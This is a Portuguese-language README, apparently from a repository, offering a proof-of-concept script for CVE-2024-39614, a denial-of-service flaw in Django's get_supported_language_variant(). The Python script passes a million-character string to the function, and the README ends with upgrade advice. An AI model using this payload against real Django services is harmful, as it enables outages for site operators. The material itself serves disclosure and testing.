
Exploit de prova de conceito para CVE-2024-39614, uma vulnerabilidade de negação de serviço na função get_supported_language_variant() do Django que afeta as versões 5.0<5.0.7 e 4.2<4.2.14.
Este repositório contém um script de Prova de Conceito (PoC) demonstrando uma vulnerabilidade de negação de serviço (DoS) no Django versões 5.0 anteriores a 5.0.7 e 4.2 anteriores a 4.2.14. A vulnerabilidade está na função get_supported_language_variant(), que é suscetível a um potencial ataque DoS ao lidar com strings muito longas contendo caracteres específicos.
CVE-ID: (Pendente)
Visão Geral:
A função get_supported_language_variant() no Django versões 5.0 anteriores a 5.0.7 e 4.2 anteriores a 4.2.14 é vulnerável a um ataque de negação de serviço. Esta função pode ser explorada enviando strings muito longas contendo caracteres específicos, o que poderia levar a um esgotamento de recursos e, consequentemente, a uma condição de negação de serviço.
Versões Afetadas:
Versões Corrigidas:
pip install django)Este script demonstra como um atacante pode explorar a vulnerabilidade enviando uma string muito longa para a função get_supported_language_variant().
Salve o seguinte script como dos_poc.py e execute-o.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() chama get_supported_language_variant() com a string muito longa para testar a vulnerabilidade.Para mitigar esta vulnerabilidade, atualize para as versões corrigidas do Django:
Siga as instruções oficiais de atualização do Django para atualizar sua instalação do Django para a versão segura mais recente.
Mantendo seu software atualizado e seguindo as melhores práticas de segurança, você pode prevenir vulnerabilidades como este problema de DoS no Django.